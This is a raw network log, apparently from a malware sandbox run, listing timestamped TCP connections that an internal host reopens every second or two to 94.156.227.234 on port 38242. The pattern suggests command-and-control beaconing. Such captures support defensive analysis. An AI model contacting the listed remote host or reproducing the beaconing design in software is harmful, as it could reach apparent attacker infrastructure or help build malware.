                                                                                                Dec 24, 2024 07:48:08.296228886 CET382426003094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:08.296324015 CET6003038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:08.296359062 CET6003038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:08.415939093 CET382426003094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:08.801103115 CET6003038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:08.963502884 CET382426003094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:09.426882982 CET382426003094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:09.427040100 CET6003038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:09.802160978 CET6003238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:09.922178030 CET382426003294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:09.922255039 CET6003238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:09.922458887 CET6003238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:10.042272091 CET382426003294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:10.426913977 CET6003238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:10.587420940 CET382426003294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:11.046879053 CET382426003294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:11.046953917 CET6003238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:11.353815079 CET43928443192.168.2.2391.189.91.42
                                                                                                Dec 24, 2024 07:48:11.428478956 CET6003438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:11.548367023 CET382426003494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:11.548676968 CET6003438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:11.548918962 CET6003438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:11.670118093 CET382426003494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:12.053895950 CET6003438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:12.215280056 CET382426003494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:12.686955929 CET382426003494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:12.687076092 CET6003438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:13.054630995 CET6003638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:13.174294949 CET382426003694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:13.174398899 CET6003638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:13.174443960 CET6003638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:13.294667006 CET382426003694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:13.678675890 CET6003638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:13.839468002 CET382426003694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:14.308743954 CET382426003694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:14.308851957 CET6003638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:14.679610968 CET6003838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:14.799510002 CET382426003894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:14.799882889 CET6003838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:14.799884081 CET6003838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:14.920408010 CET382426003894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:15.304501057 CET6003838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:15.467354059 CET382426003894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:15.934786081 CET382426003894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:15.934990883 CET6003838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:16.305201054 CET6004038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:16.424895048 CET382426004094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:16.425097942 CET6004038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:16.425204039 CET6004038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:16.544711113 CET382426004094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:16.928951025 CET6004038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:17.095335007 CET382426004094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:17.546022892 CET382426004094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:17.546116114 CET6004038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:17.929986000 CET6004238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:18.049474955 CET382426004294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:18.049535036 CET6004238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:18.049622059 CET6004238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:18.169084072 CET382426004294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:18.553128004 CET6004238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:18.715261936 CET382426004294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:19.186175108 CET382426004294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:19.186239958 CET6004238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:19.553841114 CET6004438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:19.673430920 CET382426004494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:19.673540115 CET6004438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:19.673615932 CET6004438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:19.793051958 CET382426004494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:20.176788092 CET6004438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:20.343431950 CET382426004494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:20.804358006 CET382426004494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:20.804430008 CET6004438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:21.177614927 CET6004638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:21.297136068 CET382426004694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:21.297193050 CET6004638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:21.297353983 CET6004638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:21.416922092 CET382426004694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:21.592396021 CET42836443192.168.2.2391.189.91.43
                                                                                                Dec 24, 2024 07:48:21.800929070 CET6004638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:21.963233948 CET382426004694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:22.416078091 CET382426004694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:22.416143894 CET6004638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:22.801731110 CET6004838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:22.921221972 CET382426004894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:22.921274900 CET6004838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:22.921310902 CET6004838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:23.040724993 CET382426004894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:23.424484015 CET6004838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:23.587229967 CET382426004894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:24.060600996 CET382426004894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:24.060662031 CET6004838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:24.425461054 CET6005038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:24.544996977 CET382426005094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:24.545070887 CET6005038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:24.545114040 CET6005038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:24.664513111 CET382426005094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:25.049516916 CET6005038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:25.211278915 CET382426005094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:25.664072990 CET382426005094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:25.664161921 CET6005038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:26.050493002 CET6005238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:26.170063972 CET382426005294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:26.170135021 CET6005238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:26.170185089 CET6005238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:26.289702892 CET382426005294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:26.673661947 CET6005238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:26.835243940 CET382426005294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:27.300153971 CET382426005294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:27.300230980 CET6005238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:27.674770117 CET6005438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:27.735574007 CET4251680192.168.2.23109.202.202.202
                                                                                                Dec 24, 2024 07:48:27.794363022 CET382426005494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:27.794439077 CET6005438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:27.794486046 CET6005438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:27.913960934 CET382426005494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:28.300138950 CET6005438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:28.467263937 CET382426005494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:28.918962002 CET382426005494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:28.919097900 CET6005438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:29.301753044 CET6005638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:29.421355963 CET382426005694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:29.421422005 CET6005638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:29.421458960 CET6005638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:29.541028023 CET382426005694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:29.926584959 CET6005638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:30.091268063 CET382426005694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:30.581072092 CET382426005694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:30.581139088 CET6005638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:30.927675962 CET6005838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:31.047255993 CET382426005894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:31.047358036 CET6005838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:31.047436953 CET6005838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:31.166977882 CET382426005894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:31.551305056 CET6005838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:31.715291023 CET382426005894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:32.168387890 CET382426005894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:32.168471098 CET6005838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:32.553364992 CET6006038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:32.672924042 CET382426006094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:32.673031092 CET6006038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:32.673110962 CET6006038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:32.792659998 CET382426006094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:33.177839994 CET6006038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:33.558737040 CET6006038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:33.590313911 CET382426006094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:33.678163052 CET382426006094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:33.791399956 CET382426006094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:33.791573048 CET6006038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:34.178798914 CET6006238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:34.298293114 CET382426006294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:34.298362970 CET6006238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:34.298403978 CET6006238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:34.418006897 CET382426006294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:34.802144051 CET6006238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:34.967381954 CET382426006294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:35.431860924 CET382426006294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:35.431927919 CET6006238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:35.803071976 CET6006438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:35.922564030 CET382426006494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:35.922638893 CET6006438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:35.922707081 CET6006438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:36.042197943 CET382426006494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:36.426346064 CET6006438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:36.587322950 CET382426006494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:37.052880049 CET382426006494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:37.052948952 CET6006438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:37.427304029 CET6006638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:37.547210932 CET382426006694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:37.547291994 CET6006638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:37.547352076 CET6006638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:37.667078018 CET382426006694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:38.051326036 CET6006638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:38.211384058 CET382426006694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:38.682586908 CET382426006694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:38.682781935 CET6006638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:39.052217960 CET6006838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:39.171791077 CET382426006894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:39.171900034 CET6006838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:39.171900034 CET6006838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:39.291424036 CET382426006894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:39.676211119 CET6006838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:39.839396954 CET382426006894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:40.300046921 CET382426006894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:40.300293922 CET6006838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:40.677687883 CET6007038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:40.797288895 CET382426007094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:40.797435045 CET6007038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:40.797485113 CET6007038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:40.916984081 CET382426007094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:41.302118063 CET6007038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:41.463465929 CET382426007094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:41.907453060 CET382426007094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:41.907591105 CET6007038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:42.303349018 CET6007238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:42.422913074 CET382426007294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:42.423160076 CET6007238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:42.423240900 CET6007238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:42.543492079 CET382426007294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:42.928093910 CET6007238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:43.095347881 CET382426007294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:43.560689926 CET382426007294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:43.560925961 CET6007238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:43.929816008 CET6007438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:44.049416065 CET382426007494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:44.049599886 CET6007438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:44.049854040 CET6007438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:44.171659946 CET382426007494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:44.557010889 CET6007438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:44.719475031 CET382426007494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:45.179125071 CET382426007494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:45.179585934 CET6007438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:45.558470964 CET6007638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:45.678052902 CET382426007694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:45.678335905 CET6007638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:45.678335905 CET6007638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:45.797976971 CET382426007694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:46.185250998 CET6007638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:46.351310968 CET382426007694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:46.805849075 CET382426007694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:46.805999041 CET6007638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:47.186960936 CET6007838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:47.306705952 CET382426007894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:47.306811094 CET6007838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:47.307043076 CET6007838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:47.426537037 CET382426007894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:47.814142942 CET6007838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:47.979408026 CET382426007894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:48.428973913 CET382426007894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:48.429302931 CET6007838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:48.816203117 CET6008038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:48.935883045 CET382426008094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:48.936043978 CET6008038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:48.936101913 CET6008038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:49.055665970 CET382426008094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:49.442682028 CET6008038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:49.603445053 CET382426008094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:50.063431025 CET382426008094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:50.063630104 CET6008038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:50.444204092 CET6008238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:50.594017982 CET382426008294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:50.594141006 CET6008238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:50.594171047 CET6008238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:50.713788033 CET382426008294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:51.099467039 CET6008238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:51.259510994 CET382426008294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:51.731103897 CET382426008294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:51.731246948 CET6008238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:52.101154089 CET6008438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:52.220892906 CET382426008494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:52.221009970 CET6008438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:52.221054077 CET6008438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:52.308209896 CET43928443192.168.2.2391.189.91.42
                                                                                                Dec 24, 2024 07:48:52.341178894 CET382426008494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:52.726703882 CET6008438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:52.887438059 CET382426008494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:53.357692957 CET382426008494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:53.357949018 CET6008438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:53.728490114 CET6008638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:53.848086119 CET382426008694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:53.848242044 CET6008638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:53.848242044 CET6008638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:53.967935085 CET382426008694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:54.353837013 CET6008638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:54.515531063 CET382426008694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:54.969814062 CET382426008694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:54.970088005 CET6008638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:55.355597973 CET6008838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:55.475234985 CET382426008894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:55.475461006 CET6008838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:55.475461006 CET6008838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:55.595135927 CET382426008894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:55.981673956 CET6008838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:56.147742033 CET382426008894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:56.602854967 CET382426008894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:56.603060007 CET6008838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:56.983417988 CET6009038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:57.124550104 CET382426009094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:57.124761105 CET6009038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:57.124761105 CET6009038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:57.244832993 CET382426009094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:57.630709887 CET6009038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:57.803618908 CET382426009094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:58.242989063 CET382426009094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:58.243175030 CET6009038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:58.632551908 CET6009238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:58.752523899 CET382426009294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:58.752644062 CET6009238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:58.752743006 CET6009238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:58.872354031 CET382426009294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:48:59.258646011 CET6009238242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:48:59.423686981 CET382426009294.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:00.260400057 CET6009438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:00.379921913 CET382426009494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:00.380115032 CET6009438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:00.380115032 CET6009438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:00.499577999 CET382426009494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:00.886409998 CET6009438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:01.051522970 CET382426009494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:01.519973040 CET382426009494.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:01.520128012 CET6009438242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:01.888204098 CET6009638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:02.007633924 CET382426009694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:02.007750034 CET6009638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:02.007786989 CET6009638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:02.127188921 CET382426009694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:02.513793945 CET6009638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:02.675376892 CET382426009694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:03.139837980 CET382426009694.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:03.140084982 CET6009638242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:03.515521049 CET6009838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:03.635073900 CET382426009894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:03.635190964 CET6009838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:03.635232925 CET6009838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:03.754772902 CET382426009894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:04.141294956 CET6009838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:04.303432941 CET382426009894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:04.762061119 CET382426009894.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:04.762367964 CET6009838242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:05.143024921 CET6010038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:05.262912035 CET382426010094.156.227.234192.168.2.23
                                                                                                Dec 24, 2024 07:49:05.263119936 CET6010038242192.168.2.2394.156.227.234
                                                                                                Dec 24, 2024 07:49:05.263119936 CET6010038242192.168.2.2394.156.227.234
